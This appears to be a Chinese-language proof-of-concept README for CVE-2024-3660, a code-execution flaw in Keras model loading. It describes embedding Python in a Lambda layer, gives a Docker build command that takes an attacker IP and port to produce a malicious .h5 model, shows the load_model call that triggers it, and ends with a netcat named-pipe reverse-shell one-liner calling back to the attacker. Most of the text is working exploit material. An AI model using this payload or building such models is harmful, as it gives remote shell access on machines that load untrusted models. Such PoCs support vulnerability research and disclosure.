CVE-2024-3660 是 TensorFlow 的 Keras 框架中的一个任意代码执行漏洞,影响版本 < 2.13。
攻击者可以在模型(例如通过 Lambda 层)中嵌入 Python 代码,该代码在加载模型时 自动执行。
当在易受攻击的环境中加载恶意的 .h5 模型文件时,任意命令将以 与加载进程相同的权限 执行。
tf.keras.models.load_model("CVE20243660.h5", compile=False)
或在不默认启用 safe_mode 的旧版 TensorFlow 中。
本 PoC 使用基于 Docker 的构建,生成一个包含反向 Shell 有效载荷的恶意 hack.h5 模型。
当在易受攻击的 TensorFlow 版本中加载该模型时,它会回连至攻击者的机器。
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f